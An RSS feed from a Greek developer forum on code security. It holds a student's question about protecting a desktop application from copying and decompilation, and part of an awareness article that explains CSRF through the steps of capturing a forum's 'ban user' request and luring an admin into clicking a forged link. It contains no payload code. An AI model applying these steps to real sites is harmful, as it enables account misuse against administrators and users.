<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://www.dotnetzone.gr:443/cs/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Code Security</title><link>https://www.dotnetzone.gr:443/cs/forums/139/ShowForum.aspx</link><description>Περιοχή που συζητάμε για το το code security - ένα θέμα που πρέπει να απασχολεί κάθε προγραμματιστή.</description><dc:language>el</dc:language><generator>CommunityServer 2.1 SP3 (Build: 20423.1)</generator><item><title>Προστασία προγράμματος</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/71007.aspx</link><pubDate>Wed, 01 Aug 2012 20:18:26 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:71007</guid><dc:creator>TasosAdve</dc:creator><slash:comments>5</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/71007.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=71007</wfw:commentRss><description>Καταρχάς καλησπέρα και καλώς σας βρήκα &lt;br&gt;&lt;br&gt;στο ψητό, είμαι φοιτητής ηλεκτρονικός και χρειάστηκε να αναπτύξω μια απλή υπολογιστική εφαρμογή για μια βιομηχανική διαδικασία. Το πρόβλημα μου είναι ότι επειδή κανονικά δεν είμαι στην "πιάτσα" του developing για πελάτες κλπ. &lt;img src="http://www.dotnetzone.gr/cs/emoticons/emotion-2.gif" alt="Big Smile" /&gt; προφανώς μου ζητήθηκε να κλειδώσει κατά κάποιον τρόπο η εφαρμογή ώστε:&lt;br&gt;&lt;br&gt;1ον να ελέγχουν την διασπορά. Θέλουν να την δίνουν σε πελάτες, αλλά ΔΕΝ θέλουν να την δώσει πελάτης σε ανταγωνιστή, να βρεθεί γενικώς σε περιβάλλον που ΔΕΝ μπορούν να ελέγξουν (υπόψιν ότι αυτό το είχαμε συζητήση απ' την αρχή και γι αυτό είχα προτείνει web εφαρμογή που ελέγχεις -όσο μπορείς- το access που δίνεις, αλλά θέλαν desktop γιατί λόγω της φύσης της δουλειάς πολλά μηχανήματα μπορεί να είναι σε industrial plants και να μην έχουν σύνδεση με net).&lt;br&gt;&lt;br&gt;2ον προφανώς ακόμη και αν με κάποιο τρόπο φτάσει σε χέρια άλλου (κλάπηκε hasp κλπ.) να μην μπορεί να γίνει decompile με ένα salamander ή ένα reflector out of the box. Προσωπικά έχω λάβει κάποια μέτρα στον κώδικα για να τον κάνω παραπλανητικό αλλά σίγουρα δεν είναι αρκετά. &lt;br&gt;&lt;br&gt;Το θέμα όπως καταλαβαίνετε δεν είναι να μιλάμε για κάτι άσπαστο γνωρίζω ότι κάτι τέτοιο είναι αδύνατο. Αυτό που με απασχολεί είναι τουλάχιστον να είναι αρκετά δύσκολο/ακριβό να μπορέσει ο άλλος να φτάσει στα χέρια του ή να δει τον πηγαίο κώδικα.&lt;br&gt;&lt;br&gt;πχ. από HASP έχοντας δοκιμάσει, ξέρω ότι για το SRM δεν υπάρχει public available emulator αλλά άμα πέσει στα χέρια σου το dongle μπορείς με αρκετό κόπο -ομολογουμένως- να το "ανοίξεις". Οπότε προς τα κει είχα προσανατολιστεί αρχικά.&lt;br&gt;&lt;br&gt;Διάβασα και τα σχετικά Θέματα που υπάρχουν ήδη στο φόρουμ αλλά είπα να το επαναφέρω μιας και τα θέματα ασφάλειας, κρυπτογράφησης κλπ. αλλάζουν μέρα με τη μέρα.&lt;br&gt;&lt;br&gt;Ευχαριστώ πολύ για το χρόνο σας. &lt;br&gt;</description></item><item><title>Cross Site Request Forgery (CSRF)</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/77308.aspx</link><pubDate>Sun, 11 Oct 2015 18:38:01 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:77308</guid><dc:creator>Thiseas</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/77308.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=77308</wfw:commentRss><description>&lt;p&gt;&lt;i&gt;&lt;b&gt;Το παρακάτω άρθρο αποτελεί αναδημοσίευση κομματιών ή και επι του συνόλου, άρθρων του γράφοντος που είχε κάνει σε άλλα ιστολόγια. Να ξεκαθαρίσω οτι ο στόχος εδώ είναι η εκμετάλλευση της υψηλής επiσκεψιμότητας από developers του τρέχοντος forum με αντικειμενικό σκοπό την ενημέρωση τους ή πιο καλά την ενεργοποίηση της... καχυποψίας τους επάνω σε θέματα ασφάλειας κώδικα.&lt;br&gt;&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;&lt;i&gt;&lt;b&gt;Ας πάμε...&lt;/b&gt;&lt;/i&gt; &lt;br&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Θα υποπτευόσαστε ποτέ ως διαρρήκτη τον
ίδιο τον ιδιοκτήτη ενός σπιτιού (ας πούμε τον Κο Νοικοκύρη), όταν τον βλέπατε
μέρα μεσημέρι να μπαίνει στο σπίτι του από την κεντρική είσοδο με τα κλειδιά
στο χέρι; Οι μόνοι που θα μπορούσαν να απαντήσουν «ναι» σε ένα τέτοιο ερώτημα
είναι μόνο όσοι έχουνε προβλήματα όρασης! Πώς είναι δυνατόν να υποπτευτείς
αυτόν που έχει την δικαιοδοσία να κάνει κάτι; Χμ… μήπως θα πρέπει να το
ξανασκεφτούμε; Θα μπορούσε να τον έχει βάλει κάποιος ο οποίος τον απείλησε και
ο Κος Νοικοκύρης να το κάνει κάτω από ψυχολογική βία, ή… ακόμα χειρότερα, θα
μπορούσε να τον έχει βάλει κάποιος και ο Κος Νοικοκύρης να &lt;u&gt;μην&lt;/u&gt; το έχει
καν καταλάβει! Όσο κι αν φαίνεται απίθανο και πέρα από τα όρια της λογικής, η
τελευταία περίπτωση μπορεί να συμβεί. Ίσως όχι τόσο συχνά στον πραγματικό μας
κόσμο, αλλά αρκετά συχνά σε έναν άλλο κόσμο, ιδεατό, εικονικό, αλλά εξίσου
επικίνδυνο: Ποιόν άλλον; Τον κόσμο του διαδικτύου. Στο άρθρο αυτό θα μιλήσουμε
για τέτοιες επιθέσεις.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Θα αναφερθούμε στo περίφημο &lt;a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;&lt;b&gt;Cross&lt;/b&gt;
&lt;b&gt;Site&lt;/b&gt; &lt;b&gt;Request&lt;/b&gt; &lt;b&gt;Forgery&lt;/b&gt;&lt;/a&gt;
(CSRF) ή one-click attack ή session riding ή WRPC attack for Web based RPC
attack. &lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;Όπως καταλάβατε πρόκειται για
τον &lt;b&gt;αρχινονό &lt;/b&gt;των επιθέσεων μια και με τόσα ονόματα ελπίζει να
ξεγλιστρήσει και δυστυχώς, δεν είναι λίγες οι φορές που τα καταφέρνει.
Πρόκειται για μια μεθοδολογία επίθεσης που μόλις το 2008 εντάχθηκε στην λίστα
των γνωστών παγκόσμιων απειλές του διαδικτύου (&lt;/span&gt;&lt;span&gt;&lt;a href="http://is.gd/zzXP"&gt;http&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;is&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;gd&lt;span style="mso-ansi-language:EL;"&gt;/&lt;/span&gt;zzXP&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) αν και το 2006
είχε αναφερθεί ως ο Κοιμώμενος Γίγαντας&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; στο &lt;/span&gt;&lt;span&gt;&lt;a href="http://www.darkreading.com/risk/csrf-vulnerability-a-sleeping-giant/d/d-id/1128371?"&gt;&lt;span style="mso-ansi-language:EL;"&gt;άρθρο του &lt;/span&gt;Security&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;DarkReading&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;/p&gt;

&lt;h2&gt;Λίγο… background&lt;/h2&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Πριν αναφερθούμε στην μέθοδο αυτή καθαυτή
θα πρέπει πρώτα να πούμε μερικά βασικά θέματα ασφάλειας που θα πρέπει να
γνωρίζουμε έτσι ώστε να την κατανοήσουμε καλύτερα.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Ας ξεκινήσουμε με ένα απλό παράδειγμα:
Έστω ότι είμαστε υπεύθυνοι (&lt;/span&gt;&lt;span&gt;administrators&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) σε ένα &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που έχει να κάνει με ασφάλεια υπολογιστών. Κάθε
φορά που επισκεπτόμαστε το &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; με τον αγαπημένο μας &lt;/span&gt;&lt;span&gt;Internet&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; δίνουμε κωδικό και &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; για να αποκτήσουμε πρόσβαση και (όπως λέμε) να
μπούμε μέσα. Η διαδικασία αυτή ονομάζετε &lt;/span&gt;&lt;a href="http://searchsecurity.techtarget.com/definition/authentication"&gt;&lt;span&gt;authentication&lt;/span&gt;&lt;/a&gt;&lt;span style="mso-ansi-language:EL;"&gt; ή στα «ξένα» αυθεντικοποίηση (εικόνα 1).&lt;/span&gt;&lt;/p&gt;

&lt;p class="rtecenter"&gt;&lt;img src="https://farm6.staticflickr.com/5633/22060501966_bd61430c6e_b.jpg"&gt;&lt;br&gt;
Εικόνα 1: Έχοντας μπει στο site μας με δικαιώματα administrator.&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Όση ώρα είμαστε μέσα στο &lt;/span&gt;&lt;span&gt;site&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μπορούμε να
εκτελέσουμε διάφορες ενέργειες, όπως: Να γράψουμε ένα νέο &lt;/span&gt;&lt;span&gt;post&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;, να απαντήσουμε σε
κάποιο άλλο κλπ. Δηλαδή ότι μπορούν και τα υπόλοιπα&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μέλη του &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας. Όμως εμείς (ως &lt;/span&gt;&lt;span&gt;Admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;!!) μπορούμε να εκτελέσουμε κάποιες εργασίες που
τα άλλα μέλη δεν μπορούν, όπως για παράδειγμα την διαγραφή κάποιου &lt;/span&gt;&lt;span&gt;post&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; ενός άλλου μέλους, ή
την αποβολή του από το &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;, το λεγόμενο &lt;/span&gt;&lt;span&gt;ban&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και πολλά άλλα. Πως γνωρίζει ο &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; ποιοι είμαστε για
να μας αφήσει να εκτελέσουμε αυτές τις ενέργειες; Μα φυσικά, θα σκεφτεί
κάποιος, από το &lt;/span&gt;&lt;span&gt;authentication&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που κάναμε στην αρχή. Χμ... τα πράγματα δεν και
τόσο απλά.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Το ότι κάναμε &lt;/span&gt;&lt;span&gt;authentication&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μια δεδομένη χρονική στιγμή δεν σημαίνει απολύτως
τίποτε διότι το &lt;/span&gt;&lt;span&gt;internet&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; είναι (όπως έχουμε ξαναπεί) &lt;/span&gt;&lt;span&gt;stateless&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και κάθε φορά που πατάμε μια ενέργεια στο &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας, ο &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που επισκεπτόμαστε
είναι σαν να μας «βλέπει» για πρώτη φορά (&lt;/span&gt;&lt;span&gt;&lt;a href="http://is.gd/As3a"&gt;http&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;is&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;gd&lt;span style="mso-ansi-language:EL;"&gt;/&lt;/span&gt;As&lt;span style="mso-ansi-language:EL;"&gt;3&lt;/span&gt;a&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;). Αυτή η&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; έλλειψη «μνήμης» του &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; (όσα &lt;/span&gt;&lt;span&gt;Gb&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;R&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;ΑΜ κι αν έχει!!) πρέπει με κάποιο τρόπο να
«γεφυρωθεί» έτσι ώστε να μας θυμάται για να μην μας ζητά &lt;/span&gt;&lt;span&gt;authentication&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; κάθε φορά
που του ζητάμε κάτι. Πραγματικά, το σενάριο, αν δεν είχαμε τρόπο να λύσουμε
αυτό το πρόβλημα, είναι... εφιαλτικό! Κάθε στιγμή θα μας έλεγε ο &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;:&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;: -Συγγνώμη
κύριε, ποιος είστε;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;: -Μα...
μόλις συστηθήκαμε!&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Αυτό λοιπόν το ιδιόμορφο &lt;/span&gt;&lt;span&gt;&lt;a href="http://www.google.gr/search?hl=el&amp;amp;ei=QOoOStK4AYS4_Aazr421BA&amp;amp;sa=X&amp;amp;oi=spell&amp;amp;resnum=0&amp;amp;ct=result&amp;amp;cd=1&amp;amp;q=alzheimer&amp;amp;spell=1"&gt;alzheimer&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; θεραπεύεται με μερικά... μπισκοτάκια! Μην
ανησυχείτε, δεν μας έπιασε ο συνήθης παλιμπαιδισμός που μας διακρίνει συχνά και
που μας κατατρέχει σχεδόν μόνιμα!, απλά, Μπισκοτάκια (&lt;/span&gt;&lt;span&gt;Cookies&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) ονομάζονται κάποιες μικρού μεγέθους πληροφορίες
που βάζει ο &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; στην μνήμη του υπολογιστή μας έτσι ώστε κάθε φορά που τον καλούμε να
θυμάται ποίοι είμαστε (&lt;/span&gt;&lt;span&gt;&lt;a href="http://is.gd/Asgx"&gt;http&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;is&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;gd&lt;span style="mso-ansi-language:EL;"&gt;/&lt;/span&gt;Asgx&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;).&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Μια τέτοια πληροφορία έχει εισαχθεί και
στο δικό μας &lt;/span&gt;&lt;span&gt;PC&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και αναφέρει στον &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; της εικόνας 1 ότι εμείς είμαστε οι διαχειριστές
και κατά συνέπεια έχουμε αυξημένα δικαιώματα. Δεν θα επεκταθούμε περισσότερο σε
αυτό, μια και θα βγούμε «εκτός θέματος».&lt;/span&gt;&lt;/p&gt;

&lt;h2&gt;Η μέθοδος&lt;/h2&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Σκεφτείτε ότι εμείς, τώρα, είμαστε οι
υποχθόνιοι τύποι που θέλουμε να&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; γίνουμε διαχειριστές στη θέση του διαχειριστή
αλλά βρισκόμαστε σε έναν άλλο υπολογιστή ίσως αρκετές χιλιάδες χιλιόμετρα
μακριά και το μοναδικό σημείο επαφής μας είναι ο &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που φιλοξενεί το &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που θέλουμε να επιτεθούμε. Τι θα συμβεί αν
καταφέρουμε να έχουμε πρόσβαση στο &lt;/span&gt;&lt;span&gt;cookie&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;; Τότε, θα μπορούσαμε να εκτελέσουμε όλες τις
εντολές και τις ενέργειες που μπορεί να έχει ένας διαχειριστής.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Ας πούμε ότι έχουμε προηγούμενα με κάποιο
μέλος του συγκεκριμένου &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και θέλουμε να το αποβάλουμε, κοινώς να το &lt;/span&gt;&lt;span&gt;ban&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-άρουμε! Πως θα
καταφέρουμε κάτι τέτοιο χωρίς να είμαστε διαχειριστές (&lt;/span&gt;&lt;span&gt;admins&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;);&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Κατ’ αρχάς πρέπει να ξέρουμε πως όταν ο
πραγματικός &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μπανάρει ένα μέλος, στην πραγματικότητα καλεί μια έτοιμη ενέργεια που
παρέχει το &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μόνο σε αυτόν. Αυτή η ενέργεια μπορεί να είναι η κλήση ενός προγράμματος
στον &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;
που φιλοξενεί το &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;. Μόλις κληθεί αυτή η ενέργειά, σίγουρα θα τσεκάρει το &lt;/span&gt;&lt;span&gt;cookie&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; (για να ελέγξει αν
πρόκειται για τον &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) και μετά θα συνεχίσει το... θεάρεστο έργο της.&lt;/span&gt;&lt;/p&gt;

&lt;p class="rtecenter"&gt;&lt;img src="https://farm1.staticflickr.com/633/21465542113_469a16d2cb_b.jpg"&gt;&lt;br&gt;
Εικόνα 2: Ο χρήστης έχει αποβληθεί (banned) από το forum.&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Αυτό λοιπόν που θα κάνουμε συνοψίζεται τα
παρακάτω βήματα:&lt;/span&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;mso-list:l0 level1 lfo1;mso-hyphenate:auto;tab-stops:list 36.0pt;"&gt;&lt;b&gt;Βήμα
     1&lt;/b&gt;: Βρίσκουμε (ή φτιάχνουμε μόνοι μας) ένα πρόγραμμα ή μια εντολή
     η οποία είναι η ίδια που εκτελείτε από το forum όταν ο πραγματικός
     διαχειριστής αποβάλει ένα άτομο (θα πούμε παρακάτω πως θα την βρούμε κλπ).&lt;/li&gt;

&lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;mso-list:l0 level1 lfo1;mso-hyphenate:auto;tab-stops:list 36.0pt;"&gt;&lt;b&gt;Βήμα
     2&lt;/b&gt;: Αφού την φτιάξουμε θα την βάλουμε σε ένα link το οποίο με
     κάποιο τρόπο θα στείλουμε στον διαχειριστή και θα τον ωθήσουμε να το
     πατήσει (με την θέληση του ή μη!). To βήμα αυτό χρειάζεται και λίγο Social
     Engineering (http://is.gd/AEyb). Μόλις το πατήσει, ο σκοπός έχει
     επιτευχθεί!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Ας δούμε, λοιπόν, πως γίνονται όλα αυτά
στην πράξη!&lt;/span&gt;&lt;/p&gt;

&lt;h2&gt;Η υλοποίηση&lt;/h2&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Πρώτα πρέπει να υλοποιήσουμε το βήμα 1.
Θα βρούμε τι ακριβώς εκτελείται από το πρόγραμμα του &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; όταν ο διαχειριστής μπανάρει έναν χρήστη. Εδώ
χρειάζεται λίγη πονηριά και λίγη παρατηρητικότητα. Σχεδόν όλα τα &lt;/span&gt;&lt;span&gt;forums&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; αναφέρουν τον
κατασκευαστή και την έκδοση που βρίσκονται. Αν προσέξετε την εικόνα 1 θα δείτε
ότι στο κάτω μέρος αναφέρει “&lt;/span&gt;&lt;span&gt;Powered&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;by&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;BabbleBoard&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;v&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;.1.1.6”. &lt;/span&gt;&lt;span&gt;To&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;babbleboard&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; είναι ένα γνωστό πρόγραμμα για &lt;/span&gt;&lt;span&gt;forums&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και μάλιστα
προσφέρεται και δωρεάν. Ας το κατεβάσουμε λοιπόν και ας το εγκαταστήσουμε στον
δικό μας &lt;/span&gt;&lt;span&gt;web&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;.
Εδώ απαιτείται να έχουμε ένα δικό μας &lt;/span&gt;&lt;span&gt;web&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;. Μην τρομάζετε, είναι απίστευτα απλό και...
δωρεάν! Υπάρχουν εκατοντάδες εταιρίες στο &lt;/span&gt;&lt;span&gt;internet&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που είναι πρόθυμες να σας φιλοξενήσουν (&lt;/span&gt;&lt;span&gt;google&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;it&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; “&lt;/span&gt;&lt;span&gt;hosting&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;” και θα
καταλάβετε).&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Αφού λοιπόν βρούμε και κατεβάσουμε το &lt;/span&gt;&lt;span&gt;BabbleBoard&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και
συγκεκριμένα την έκδοση 1.1.6, φτιάχνουμε ένα τεχνητό &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;, και μπαίνουμε σαν διαχειριστές. Φτιάχνουμε και
2-3 χρήστες και αρχίζουμε να τους μπανάρουμε για να δούμε ποιες ακριβώς εντολές
εκτελούνται! Για να δούμε όμως κάτι τέτοιο θα χρησιμοποιήσουμε ένα πολύ χρήσιμο
&lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-&lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του &lt;/span&gt;&lt;span&gt;firefox&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;: &lt;/span&gt;&lt;span&gt;To&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Live&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Http&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Headers&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; (&lt;/span&gt;&lt;span&gt;&lt;a href="http://is.gd/9j1P"&gt;http&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;is&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;gd&lt;span style="mso-ansi-language:EL;"&gt;/9&lt;/span&gt;j&lt;span style="mso-ansi-language:EL;"&gt;1&lt;/span&gt;P&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;). Το συγκεκριμένο &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-&lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας δείχνει ποιές
εντολές (κρυφές ή μη) εκτελούνται στον &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; όταν πατάμε ένα &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; ή μια ενέργεια στον &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας. Απ’ ότι καταλάβατε, η ενέργεια που θα
κατασκοπεύσουμε είναι η “&lt;/span&gt;&lt;span&gt;Ban&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;User&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;”.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Δεν είναι ο σκοπός του άρθρου αυτού να
σας δείξει πως εγκαθιστώ ένα &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; ή &lt;/span&gt;&lt;span&gt;CMS&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; (&lt;/span&gt;&lt;span&gt;Content&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Management&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;System&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;), ούτε και να
δείξει πως ακριβώς λειτουργεί το &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-&lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-&lt;/span&gt;&lt;span&gt;header&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;. Αυτά τα βήματα θα τα θεωρήσουμε ως δεδομένα.&lt;/span&gt;&lt;/p&gt;

